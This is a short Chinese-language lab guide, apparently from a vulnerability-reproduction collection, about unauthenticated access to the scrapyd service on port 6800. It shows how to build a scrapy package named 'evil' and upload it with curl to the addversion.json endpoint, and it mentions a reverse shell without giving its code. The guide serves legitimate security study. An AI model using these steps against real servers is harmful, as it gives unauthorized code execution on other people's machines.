# scrapyd 未授权访问漏洞
|
||
|
||
scrapyd是爬虫框架scrapy提供的云服务，用户可以部署自己的scrapy包到云服务，默认监听在6800端口。如果攻击者能访问该端口，将可以部署恶意代码到服务器，进而获取服务器权限。
|
||
|
||
参考链接：<https://www.leavesongs.com/PENETRATION/attack-scrapy.html>
|
||
|
||
## 环境搭建
|
||
|
||
执行如下命令启动scrapyd服务：
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
环境启动后，访问`http://your-ip:6800`即可看到Web界面。
|
||
|
||
## 漏洞复现
|
||
|
||
参考[攻击Scrapyd爬虫](https://www.leavesongs.com/PENETRATION/attack-scrapy.html)，构造一个恶意的scrapy包：
|
||
|
||
```bash
|
||
pip install scrapy scrapyd-client
|
||
scrapy startproject evil
|
||
cd evil
|
||
# 编辑 evil/__init__.py, 加入恶意代码
|
||
scrapyd-deploy --build-egg=evil.egg
|
||
```
|
||
|
||
向API接口发送恶意包：
|
||
|
||
```bash
|
||
curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg
|
||
```
|
||
|
||
成功反弹shell：
